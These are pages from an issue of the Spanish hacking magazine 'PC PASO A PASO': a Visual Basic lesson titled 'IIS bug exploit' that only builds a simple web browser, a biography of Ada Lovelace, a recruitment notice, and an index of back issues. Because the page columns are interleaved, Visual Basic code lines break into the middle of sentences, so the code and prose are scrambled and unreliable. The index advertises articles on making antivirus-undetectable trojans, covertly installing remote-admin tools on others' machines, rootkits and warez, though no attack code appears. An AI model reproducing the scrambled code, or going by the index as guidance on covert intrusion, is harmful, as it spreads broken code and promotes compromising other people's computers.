  • 73. Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit Volvemos al “Form_Load” y comenzamos a Private Sub TBBotones_ButtonClick(ByVal Button As MSComctlLib.Button) cargar el explorador con la web inicial. Para hacer esto deberíamos añadir el valor de End Sub URLInicial al “ComboBox”, e indicarle al “Browser” que esta es la dirección que debe Esta variable contiene, como su propio nombre abrir. Estas son las líneas que ejecutarán lo indica, el valor del botón pulsado, en nuestro que acabo de explicar: caso, la Key que anteriormente le hemos dado al botón de la “ToolBar”. Para comprobar esto Private Sub Form_Load() vamos a incluir la línea MsgBox Button.Key en URLInicial = "http://www.hackxcrack.com" el evento, ejecutamos, y al pulsar sobre alguno If Len(URLInicial) > 0 Then de los botones, nos debería aparecer el nombre CxDireccion.Text = URLInicial de la Key del mismo, como podemos ver en la CxDireccion.AddItem URLInicial imagen, en la cual hemos picado en el primero WB.Navigate URLInicial botón: End If End Sub Aquí le estamos diciendo que si el número de caracteres de la cadena que contiene la variable URLInicial es mayor que 0, (esto no es mas que una comprobación) ponga esta dirección en el “ComboBox” (CxDireccion.Text = URLInicial) lo añada en la lista ( CxDireccion.AddItem URLInicial ) y la abra en el explorador ( WB.Navigate URLInicial ). Ahora ejecutemos con F5, y quedémonos perplejos ante la sencillez de Visual Basic para crear un Explorador. ¿Qué, no está mal, verdad? Pues pasemos a Una vez comprobado esto, creamos la sentencia codificar los botones que faltan para crear el condicional que codificara este evento. explorador. Ya que ahora somos buenos programadores, 2. Moviéndonos por la web utilizaremos el “Select Case” en vez de varias sentencias “If”. Escribimos Select Case En este apartado aprenderemos a retroceder, Button.Key , y posteriormente comprobamos avanzar, detener, refrescar y abrir otras si se ha pulsado el primer botón de la siguiente direcciones de Internet, obteniendo así un manera: autentico “Web Explorer” marca de la casa. Hagamos doble clic en la “ToolBar”, lo cual nos Select Case Button.Key remitirá directamente al evento “ButtonClick” Case "Retroceder" de la misma. Si nos fijamos, este evento devuelve por parámetro una variable, Aquí le estamos diciendo que en el caso de que denominada por defecto Button, que a su vez el Button.Key pulsado sea “Retroceder” se es de tipo “Button”. ejecuten las líneas siguientes. PC PASO A PASO Nº 11 Página 73
  • 74. Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit Este sería el código necesario para todas las de ser intro, llamaremos al evento Click del funciones que vamos a utilizar: combo. Private Sub TBBotones_ButtonClick(ByVal Button As MSComctlLib.Button) Select Case Button.Key ! Al igual que... Case "Retroceder" WB.GoBack Al igual que con las rutinas y funciones, los eventos de los Case "Avanzar" objetos también pueden ser llamados desde el código. El WB.GoForward porque llamamos a este evento es porque se debe obtener Case "Parar" el mismo resultado al poner una dirección URL y pulsando WB.Stop intro, que al seleccionarla con el ratón. Case "Refrescar" WB.Refresh End Select Vamos al evento Click del combo y colocamos End Sub el siguiente código Me parece que la cosa queda bastante clara. Private Sub CxDireccion_Click() En el caso de que el Button.Key sea Retroceder, If Cargando Then haremos un WebBrowser.Back, si lo que Exit Sub hemos pulsado es Avanzar, haremos un End If W e b B r o w s e r. G o F o r w a r d , y a s í WB.Navigate CxDireccion.Text consecutivamente. Para dejarlo mejor, deberíamos ir al Private Sub CxDireccion_KeyPress(KeyAscii As Integer) evento Download_Complete del WebBrowser If KeyAscii = vbKeyReturn Then y codificarlo de la siguiente manera: CxDireccion_Click End If Private Sub WB_DownloadComplete() End Sub Me.Caption = WB.LocationName End Sub Es bastante sencillo. Si efectuamos clic sobre alguna dirección, y la variable Así siempre tendremos la dirección real en el Cargando vale True, el Web Browser Caption del formulario. navegará hacia esta. Si por lo contrario, la dirección la añadimos a mano y pulsamos intro, el evento KeyPress comprobará Para poder navegar por las webs, vamos a si la tecla pulsada es la que queremos ir al evento KeyPress del ComboBox, para If KeyAscii = vbKeyReturn Then y en el que, al pulsar intro sobre él, busque la caso de que así sea, llamaremos al evento dirección indicada en su caja de texto. Click del Combo Box, encargándose el Si nos fijamos, este evento recibe por de abrir la nueva página. parámetro una variable de tipo integer, que contiene el valor en ASCII de la tecla Ahora, lo que nos falta, es que cada vez pulsada. que se cargue una página, esta sea añadida al ComboBox, al igual que en cualquier Ya que a nosotros solo nos interesa el Explorer, obteniendo así un histórico que, intro, pondremos una sentencia condicional por ahora, será volátil, ya que al cerrar que pregunta por la tecla pulsada, y el proyecto, se borrarán los datos. Página 74 PC PASO A PASO Nº 11
  • 75. Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit web, no se añade, y si no existe, se añade, ! vbKeyReturn... poniendo posteriormente la variable “Cargando” a False vbKeyReturn es una constante de Visual Basic que contiene el valor en ASCII de la tecla Intro, por eso la comparamos Os recomiendo que juguéis un poco con el con la tecla pulsada (KeyPress). objeto Web Browser, y en especial con el sub- objeto Document del mismo, ya que con este podéis sacar información muy interesante de una página. Para acabar, pondremos las siguientes líneas en el evento Y el reto que os propongo, hasta el siguiente número, donde empezaremos nuestro exploit, NavigateComplete2: es el de sacar todos los links que contiene una Private Sub WB_NavigateComplete2(ByVal pDisp As Object, URL As Variant) página web. Dim i As Integer Dim Existe As Boolean Os doy la pista de que será necesario investigar el WB.Document, y buscar información en el Me.Caption = WB.LocationName tito Google, pero creo que va siendo hora de For i = 0 To CxDireccion.ListCount - 1 que no os de todo mascado. Para ayudaros, os If CxDireccion.List(i) = WB.LocationURL Then diré una manera de observar las variables Existe = True mientras se está ejecutando un proyecto, Exit For End If sabiendo así su valor en un preciso instante. Next i Para ello debéis poner un punto de interrupción Cargando = True en el código, pulsando F9 cuando el cursor esté If Existe = False Then posicionado sobre la línea donde queremos CxDireccion.AddItem WB.LocationURL, 0 parar. CxDireccion.ListIndex = 0 End If Cargando = False ! Los puntos de... End Sub Los puntos de interrupción, como bien dice su palabra, Si seguimos el código veremos que lo único paran la ejecución del código, deteniéndolo temporalmente que hacemos aquí es poner el título de la web en una línea anteriormente elegida. donde estamos en el Caption del formulario y, si no existe en la lista de webs del Combo, la añadiremos. Por ejemplo yo, he parado justo después de la La comprobación de la posible existencia de la carga de la página de inicio. web en la lista se hace con un bucle, que recorre el Combo Box, y en el caso de que Una vez detenida la ejecución, seleccionamos coincida el texto con la dirección actual, el nombre de nuestro Web Browser en cualquier ponemos la variable Booleana “Existe” a True parte del código, picando posteriormente sobre y salimos del bucle “For” (Exit For). el con el botón derecho, y eligiendo la opción “Agregar inspección” del “PopUp” menú, tal y Lo que sigue es obvio, si se ha encontrado la como vemos en la imagen. Inmediatamente después nos debería aparecer un pequeño PC PASO A PASO Nº 11 Página 75
  • 76. Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit menú con el objeto y el símbolo “+” a su Private Sub Form_Resize() izquierda, el cual podemos desplegar y ver Dim Ancho As Long Dim Alto As Long todos los valores de las propiedades del Alto = Me.Height - 2500 WebBrowser en ese preciso instante. Ancho = Me.Width - 500 WB.Width = Ancho Bueno, aquí llegamos al final, nos vemos en WB.Height = Alto CxDireccion.Width = Ancho la próxima entrega, que seguro, la encontrareis End Sub mucho más atractiva que esta ;) Private Sub TBBotones_ButtonClick(ByVal Button As MSComctlLib.Button) Código: Select Case Button.Key Case "Retroceder" WB.GoBack Case "Avanzar" WB.GoForward Case "Parar" WB.Stop Case "Refrescar" WB.Refresh End Select End Sub Private Sub WB_DownloadComplete() Me.Caption = WB.LocationName End Sub Private Sub WB_NavigateComplete2(ByVal pDisp As Object, URL As Variant) Dim i As Integer Dim Existe As Boolean Option Explicit Me.Caption = WB.LocationName Dim URLInicial As String For i = 0 To CxDireccion.ListCount - 1 Dim Cargando As Boolean If CxDireccion.List(i) = WB.LocationURL Then Existe = True Private Sub CxDireccion_Click() Exit For If Cargando Then End If Exit Sub Next i End If Cargando = True WB.Navigate CxDireccion.Text If Existe = False Then ' CxDireccion.AddItem WB.LocationURL, 0 End Sub CxDireccion.ListIndex = 0 End If Private Sub CxDireccion_KeyPress(KeyAscii As Integer) Cargando = False End Sub If KeyAscii = vbKeyReturn Then CxDireccion_Click End If End Sub Private Sub Form_Load() ! Recuerda que... URLInicial = "http://www.hackxcrack.com" If Len(URLInicial) > 0 Then CxDireccion.Text = URLInicial Recuerda que, si no tienes ganas de escribir, tienes el código CxDireccion.AddItem URLInicial del programa en la sección de descargas de la web WB.Navigate URLInicial www.hackxcrack.com :) End If End Sub Dedicado al servicio de transportes públicos RENFE, que siempre llegan puntuales y con sitio de sobra para sus fieles clientes. Página 76 PC PASO A PASO Nº 11
  • 77. August Ada Byron a Lady Lovelace (1815-1852) El Primer Programa. El papel de Ada Lovelace en el desarrollo histórico de las computadoras modernas parece haber sido casi totalmente ignorado hasta 1979, cuando el Departamento de Defensa de los Estados Unidos decidió utilizar su nombre para el nuevo lenguaje de programación que utilizarían como estándar para desarrollar su propio software interno. Desde entonces, nueva luz se ha vertido sobre la vida de esta matemática tan talentosa que fue una de las pocas personas que conoció y comprendió detalladamente el trabajo de Charles Babbage, además de haber escrito el primer programa para la inexistente Máquina Analítica. Introducción Byron se casó con Anna Isabella Milbanke, una joven Es tu rostro como el de mi madre, ¡mi hermosa niña! proveniente de una familia muy ¡Ada! ¿Única hija de mi casa y corazón? conservadora de buena Cuando vi por última vez tus azules ojos jóvenes, sonrieron, posición económica y que, y después partimos---no como ahora lo hacemos, sino con una esperanza.--- obviamente, constituía la antítesis perfecta del Despertando con un nuevo comienzo, temperamental, apasionado y las aguas se elevan junto a mí; y en lo alto hasta un tanto loco poeta los vientos alzan sus voces: Me voy, inglés. ¿a dónde? No lo sé; pero la hora llegará cuando las playas, cada vez más lejanas de Albion, Su falta de compatibilidad resultó evidente muy pronto Anna Isabella Milbanke dejen de afligir o alegrar mis ojos. y sólo 5 semanas después del Así comienza el triste poema nacimiento de Ada, ocurrido el del legendario George 10 de diciembre de 1815, la Gordon Noel Byron (mejor pareja se separó. Poco después conocido como Lord Byron) en los crecientes rumores sobre el que se despide para siempre su romance con Augusta Leigh de su única hija legítima: y la posible paternidad (nunca Augusta Ada Byron. Lord demostrada) de Elizabeth Byron tuvo una vida muy Medora Leigh destruyeron su disipada, pero probablemente reputación y aceptación social su aventura más osada fue en Inglaterra, forzándolo a George Gordon Noel Byron h a b e r s e e n a m o ra d o d e vivir en Suiza, Italia y, Lord Byron Augusta Leigh a los 25 años finalmente, Missolonghi, de edad, ya que ésta no sólo Grecia, donde murió de causas estaba casada, sino que naturales en 1824, cuando contaba con apenas Augusta Ada Byron - Lady Lovelace a d e m á s e ra s u m e d i a 36 años de edad. Muchas de sus cartas y de (1815-1852) hermana. En enero de 1815, sus poemas (como el extracto antes mostrado) PC PASO A PASO Nº 11 Página 77
  • 78. Augusta Ada Byron - Lady Lovelace (1815-1852) - Augusta Ada Byron hacen alusión a la enorme tristeza que le Siendo una aristócrata, la educación de Ada se embargó por no haber podido ver nunca más llevó a cabo a través de tutores particulares, a su hija. Anna Milbanke, por su parte, intentó algunos de los cuales fueron connotados ocultar toda traza de la maldad de su padre a científicos y matemáticos de la época. Dos la pequeña Ada y decidió motivar en ella las influencias muy notables en la matemáticas (una afición personal de Anna), vida de Ada fueron Augustus y desalentar cualquier tipo de talento que le De Morgan, que era un amigo recordara a su ex-esposo (como la poesía, por d e l a fa m i l i a , y M a r y ejemplo), en su afán de hacerla lo más diferente Sommerville, quien fue una posible a Lord Byron. A la luz de este objetivo imagen muy admirada y no debiera sorprendernos que el nombre venerada por Ada. Además de Augusta nunca fue utilizado en presencia de estas 2 luminarias de la época, Anna, ni siquiera para referirse a la pequeña, Ada conoció y entabló que a la sazón fue llamada simplemente Ada correspondencia con otros por su madre y sus allegados. Irónicamente personajes destacados de la Ada llegó a tener más similitudes con su padre ciencia, como por ejemplo que las que Anna hubiera podido imaginar, Michael Faraday, John Mary Fairfax Sommerville pues ambos tuvieron aficiones y aflicciones Herschel, y Charles similares, vivieron períodos de esplendor y de Wheatstone, lo que escándalo, además de la fatídica coincidencia mostraba claramente lo amplio de sus intereses de haber muerto exactamente a la misma científicos y sus elevadas cualidades edad. intelectuales. Su juventud y vida personal Fue precisamente en una cena ofrecida por Mary Sommerville Ada mostró un interés temprano por la que Ada conoció a Charles geografía, que pronto sustituyó por las Babbage, cuando ésta contaba matemáticas. Cuando Ada contaba con con sólo 18 años de edad. Ahí alrededor de 14 años de edad, sufrió de una Ada escuchó las ideas de parálisis severa--- posiblemente de origen Babbage sobre su Máquina psicosomático. Al verse imposibilitada para Analítica (Analytical Engine) y caminar durante casi 3 años, se dedicó con se sintió inmediatamente intensidad a estudiar matemáticas, mientras absorbida por la "universalidad que a la vez profundizaba sus conocimientos de sus ideas". Por muchos años de lingüística y música (principalmente el pocas personas además de manejo del arpa). Pese a la tutela de su madre, Charles Babbage ella y el mismo Babbage, Ada mantenía dentro de sí misma el interés llegarían a sentirse interesados por la poesía, y esperaba ser una "analista y en dicho proyecto. Babbage sintió curiosidad metafísica". Ada le escribió, con cierto dejo de por el abierto interés de esta jovencita que, reproche a su madre: "si no puedes darme además, tenía dotes intelectuales tan notables, poesía, ¿no puedes al menos darme ciencia y decidió invitarla a su estudio para que conociera poética? Esta inquietud poética dejó huella su creación (inconclusa) llamada Máquina profunda en su trabajo matemático, pues Diferencial (Differencial Engine). Dos semanas siempre hizo acopio de enorme imaginación y después, Ada llegó al lugar en cuestión solía describir los eventos con abundantes acompañada de su madre, y la relación con metáforas. Babbage dio inicio. Ada y Babbage Página 78 PC PASO A PASO Nº 11
  • 79. Augusta Ada Byron - Lady Lovelace (1815-1852) - Augusta Ada Byron intercambiaron correspondencia regularmente posiblemente la habría bosquejado en un a partir de este primer encuentro, y ambos cuaderno de notas que ella llamaba de forma permanecerían como amigos y colaboradores genérica el "Libro", el cual cambió de manos durante 18 años (hasta la trágica muerte de entre Babbage y ella en incontables ocasiones, Ada). pero que desgraciadamente permanece extraviado desde hace mucho tiempo. Fue también a través de Mary Sommerville que Ada conoció a su futuro esposo, William Lord Su correspondencia con Babbage ha sido objeto King, un noble 11 años mayor que ella, con de controversia, pues Ada suele ser un tanto quien contraería nupcias a los 19 años de edad. juguetona y hasta coqueta en su afán por ganarse la confianza del genio inglés, si bien Tres años más tarde William King fue nombrado nunca se demostró que hubiese habido alguna Conde de Lovelace, con lo que Ada adoptaría relación más allá de la de trabajo. el título con el que la recuerdan la mayoría de sus biógrafos: Condesa de Lovelace. Se dice Babbage reportó los avances de su trabajo en que la figura de su madre siguió dominando un seminario en Turín, Italia, en el otoño de el matrimonio de Ada, y formó una especie de 1841. Un general italiano llamado Luigi F. alianza con William King para mantener a Ada Manabrea (que posteriormente se convertiría ocupada en sus propias aficiones y lejos de las en primer ministro de Italia) publicó un responsabilidades sociales y familiares que le importante reporte sobre el trabajo de Babbage correspondían. La razón para este extraño en 1842 usando su lengua natal. La aportación acuerdo era que su madre intentaba controlar más importante de Ada fue precisamente la su temperamento mercurial tan traducción al inglés de este reporte, realizada indeseablemente similar al de su padre. a instancias del propio Babbage. Se cuenta que Desgraciadamente, y pese a todo el apoyo que cuando Babbage vio la traducción de Ada, le recibió de su esposo, la endeble salud de Ada sugirió a ésta que añadiera sus propios nunca le permitió progresar en sus labores comentarios, sintiendo que ella poseía un científicas tanto como ella hubiera querido. conocimiento suficientemente detallado del proyecto como para hacer sus propias La pareja se fue a vivir al campo, y tuvieron aportaciones y Ada accedió a hacerlo. Durante 2 hijos y una hija. Curiosamente fue su hija la la etapa final de su trabajo tuvo varios problemas única de los 3 descendientes de la pareja en con Babbage, pues éste solía ser un tanto seguir los pasos de su madre y su abuela, al descuidado y perdía constantemente material, mostrar un profundo interés en las matemáticas ante la azorada e impaciente Ada. Además, en y convertirse, años más tarde, en una famosa ciertas ocasiones, cuando Babbage revisaba su experta en la lengua árabe. trabajo, solía malinterpretarlo, provocando la ira de Ada. Cuando finalmente terminó su Sus Aportaciones manuscrito, Ada sentía que había trabajado lo Se dice que debido a su constante enfermedad suficiente como para merecer reconocimiento, Ada no pudo lograr avances significativos en pero en aquella época no era aceptable que las las matemáticas, aunque no existe certeza al mujeres escribieran artículos científicos (sobre respecto, pues lo único que se conserva de todo si pertenecían a la nobleza). La solución ella, además de sus cartas, son sus cuadernos fue firmar el reporte como "A. L. L." (Ada Lady de ejercicios en los que no aparece ningún Lovelace). El reporte, publicado en 1843, acabó trabajo original de matemáticas. Si alguna vez teniendo una longitud tres veces mayor al intentó realizar alguna aportación original, original, y contiene muchas de las importantes PC PASO A PASO Nº 11 Página 79
  • 80. Augusta Ada Byron - Lady Lovelace (1815-1852) - Augusta Ada Byron predicciones de Ada con respecto a la Máquina digestivos y de respiración, su médico le aconsejó Analítica de Babbage. De suma importancia el uso de varias combinaciones peligrosas de resulta, por ejemplo, su sugerencia de usar brandy, vino, cerveza, opio y morfina, las cuales tarjetas de manera repetida con un propósito le produjeron graves desajustes de personalidad, similar al que tienen las subrutinas de hoy en incluyendo delirios y alucinaciones en los que día. Además, Ada predijo que una máquina de su mente—evidentemente brillante—creía esta naturaleza sería capaz de componer comprender todos los secretos del Universo, música, de producir gráficos, y que podría ser haciendo de ella el profeta de Dios en la Tierra. usada tanto para aplicaciones prácticas como para las puramente científicas. Más importante Después de algunos años, Ada se percató del aún, es su clara percepción de las limitaciones daño que las drogas estaban causando en su del predecesor de las computadoras modernas: estado físico y mental. Haciendo acopio de una "la Máquina Analítica no tiene pretensiones de fé r r e a fu e r z a d e vo l u n t a d s e a l e j ó crear nada original. Puede simplemente hacer paulatinamente de su consumo para ser presa lo que se le pida que se le ordene que haga. de una nueva obsesión: las apuestas en carreras Puede realizar análisis, pero no tiene el poder de caballos. Aparentemente, tanto Babbage de anticipar ninguna revelación analítica o como Ada tenían ciertas teorías probabilísticas alguna verdad. Su objetivo es asistirnos en sobre las carreras de caballos, y las apuestas hacer disponible aquello con lo que ya estamos iniciales fueron parte de su intento por llevarlas familiarizados". a la práctica. Dado que su status social le impedía realizar apuestas directamente, un Su otra aportación significativa dentro de este sirviente de Babbage fue el intermediario de reporte son los numerosos ejemplos que Ada con los demás apostadores. Evidentemente proporcionó del uso de la Máquina Analítica. sus teorías no fueron muy acertadas, pues Ada Por ejemplo, incluyó demostraciones de cómo acabó hundida en un océano de deudas y pronto calcular funciones trigonométricas que fue presa de chantajistas que amenazaron con contuvieran variables, y de cómo la máquina el escándalo social. Su esposo y el mismo de Babbage resolvería problemas difíciles sin Babbage salieron a su rescate, pero no pudieron error. El más destacado de sus ejemplos es un evitar que Ada tuviese que empeñar las joyas detallado plan para calcular los números de de la familia para pagar a sus acreedores. Esta Bernoulli que más tarde sería denominado el situación produjo una serie de disputas familiares primer "programa de computadora", y su autora entre Ada, su esposo y su madre, que pasaría a convertirse por ende en la "primera eventualmente produjeron un aislamiento de programadora de la historia". En 1979, el la Condesa de Lovelace. Departamento de Defensa de los Estados Unidos decidió utilizar su nombre, ADA, para denominar Como si esto no fuera suficiente infortunio, Ada a un nuevo lenguaje de programación utilizado sufría de un cáncer de útero que le producía como estándar para desarrollar su software dolores inenarrables. Finalmente, este cáncer interno, en un merecido homenaje a su obra acabó con su vida el 27 de noviembre de 1852, en el desarrollo de la computadora moderna. menos de 2 semanas antes de que cumpliera los 37 años de edad. A petición suya, sus restos Su Final Trágico fueron enterrados al lado de los de su padre, en la iglesia de Hucknall Torkard, en Después del nacimiento de su tercer hijo, Ada Nottinghamshir, Inglaterra, en una reunión empezó a sufrir de una severa crisis física y póstuma de dos personajes que fueron tan mental. Debido a sus frecuentes problemas semejantes pese a haber vivido tan distantes. Página 80 PC PASO A PASO Nº 11
  • 81. Augusta Ada Byron - Lady Lovelace (1815-1852) - Augusta Ada Byron ! Los integrantes... Los integrantes de esta publicación nos sentimos orgullosos de que la primera “mini-biografía” que hemos impreso sea la de Augusta Ada Byron, Lady Lovelace. Muchas personas piensan que “esto de la informática” es un terreno marcadamente masculino y desconocen las numerosas e importantísimas contribuciones que mujeres como ADA han aportado en este campo. Desde aquí, desde nuestra humilde publicación y con nuestros escasos medios hemos querido que ADA sea la primera protagonista de esta sección. Sin lugar a dudas se ganó, a pulso y en contra de todas las adversidades, el reconocimiento del mundo entero. ¿QUIERES COLABORAR CON PC PASO A PASO? PC PASO A PASO busca personas que posean conocimientos de informática y deseen publicar sus trabajos. SABEMOS que muchas personas (quizás tu eres una de ellas) han creado textos y cursos para “consumo propio” o “de unos pocos”. SABEMOS que muchas personas tienen inquietudes periodísticas pero nunca se han atrevido a presentar sus trabajos a una editorial. SABEMOS que hay verdaderas “obras de arte” creadas por personas como tu o yo y que nunca verán la luz. PC PASO A PASO desea contactar contigo! Necesitamos URGENTE un traductor ESPAÑOL-INGLES, más info en la WEB NOSOTROS PODEMOS PUBLICAR TU OBRA!!! S I D E S E A S M Á S I N F O R M A C I Ó N , e nv í a n o s u n m a i l a empleo@editotrans.com y te responderemos concretando nuestra oferta. También necesitamos urgentemente alguien que se ocupe de la publicidad y de la web de esta editorial, para más información envíanos un mail a empleo@editotrans.com PC PASO A PASO Nº 11 Página 81
  • 82. NÚMERO1: -CREA TU PRIMER TROYANO INDETECTABLE POR LOS ANTIVIRUS. -FLASHFXP: SIN LÍMITE DE VELOCIDAD. -FTP SIN SECRETOS: PASVMODE. -PORT MODE/PASV MODE Y LOS FIREWALL: LA UTILIDAD DE LO APRENDIDO. -TCP-IP:INICIACIÓN (PARTE 1). -EL MEJOR GRUPO DE SERVIDORES FTP DE HABLA HISPANA. -EDONKEY 2000 Y SPANISHARE. -LA FLECHA ÁCIDA. NÚMERO 2: -CODE/DECODE BUG: INTRODUCCIÓN. -CODE/DECODE BUG: LOCALIZACIÓN DEL OBJETIVO. -CODE/DECODE BUG: LÍNEA DE COMANDOS. -CODE/DECODE BUG: SUBIENDO ARCHIVOS AL SERVIDOR REMOTO. -OCULTACIÓN DE IP: PRIMEROS PASOS. -LA FLECHA ÁCIDA: LA SS DIGITAL. AZNAR AL FRENTE DE LA SS DEL SIGLO XXI. NÚMERO 3: -PROXY: OCULTANDO NUESTRA IP. ASUMIENDO CONCEPTOS. -PROXY: OCULTANDO NUESTRA IP. ENCADENANDO PROXIES. -PROXY: OCULTANDO NUESTRA IP. OCULTANDO TODOS NUESTROS PROGRAMAS TRAS LAS CADENAS DE PROXIES. -EL SERVIDOR DE HACKXCRACK CONFIGURACIÓN Y MODO DE EMPLEO. -SALA DE PRACTICAS: EXPLICACIÓN. -PRÁCTICA 1ª: SUBIENDO UN ARCHIVO A NUESTRO SERVIDOR. -PRÁCTICA 2ª: MONTANDO UN DUMP CON EL SERV-U. PRÁCTICA 3ª: CODE/DECODE BUG. LÍNEA DE COMANDOS. NÚMERO 4: -CREA TU SEGUNDO TROYANO, INDETECTABLE E INMUNE A LOS ANTIVIRUS. CONOCIENDO EL RADMIN. GESTIONANDO UNA SALA DE ORDENADORES. OCULTANDO EL RADMIN. INSTALANDO EL RADMIN EN EQUIPOS REMOTOS. -OCULTACIÓN DE IP POR NOMBRE DE DOMINIO. -CREA LETRAS DE IMPACTO PARA TUS DOCUMENTOS (LETRAS DE FUEGO). - CONSIGUE UNA IP FIJA.
  • 83. NÚMERO 5: -HACK-OPINION: LA PIRATERÍA EN INTERNET. -ROOTKITS: LA PESADILLA DE CUALQUIER ADMINISTRADOR. -ROOTKITS: EL SR. NTROOT. -WAREZ: APPZ, GAMEZ, MP3Z, DIVX, FTPZ, 0-DAY. -APRENDIENDO A COMPILAR PROGRAMAS. COMPILA TU PROPIO NETCAT. -BUGS, ERRORES Y OTRAS FORMA DE JOD... -NETBIOS: ESTUDIO Y PENETRACIÓN DE SISTEMAS. -ASESINADOS POR LA LSSI. -LISTADO DE ORDENES PARA NETBIOS. -HACK-OPINION: PAGOS POR INTERNET SEGUROS YÁ. NÚMERO 6: - PASA TUS PELICULAS A DIVX (STREAMING) - PASA TUS PELICULAS A DIVX II (CODEC DIVX) - PUERTOS & SERVICIOS - eMule: EL NUEVO REY DEL P2P - NUEVA SECCION: PROGRAMACION DESDE 0 - CURSO DE VISUAL BASIC -IPHXC: EL TERCER TROYANO DE HXC - TENDENCIAS ACTUALES EN CODIGO MALICIOSO - OCULTACION DE FICHEROS. METODO STREAM (ads) - TRASTEANDO CON EL HARDWARE DE UNA LAN NÚMERO 7: - PROTOCOLOS: POP3 - PASA TUS PELICULAS A DIVX III (EL AUDIO) - PASA TUS PELICULAS A DIVX IV (MULTIPLEXADO) - CURSO DE VISUAL BASIC: LA CALCULADORA -IPHXC: EL TERCER TROYANO DE HXC II - APACHE: UN SERVIDOR WEB EN NUESTRO PC - CCPROXY: IV TROYANO DE PC PASO A PASO - TRASTEANDO CON EL HARDWARE DE UNA LAN
  • 84. NÚMERO 8: - CURSO DE LINUX - APACHE: COMPARTE ARCHIVOS - REVERSE SHELL - CURSO DE VISUAL BASIC: MAS CALCULADORA - PROTOCOLOS Y SU SEGURIDAD: SMTP NÚMERO 9: - CURSO DE LINUX (Sistema de archivos) - APACHE: COMPARTE ARCHIVOS MEDIANTE WEB. - CURSO DE VISUAL BASIC: MI 1ª DLL ACCESO A DATOS - PORT SCANING: NMAP - SERIE RAW: IRC NÚMERO 10: - CURSO DE LINUX (Gestión de usuários) - APACHE + MySQL + PHP=Trio de Ases - CURSO DE VISUAL BASIC: ACCESO A DATOS(II) - XML: El futuro de la trasferencia de datos - SERIE RAW: DCC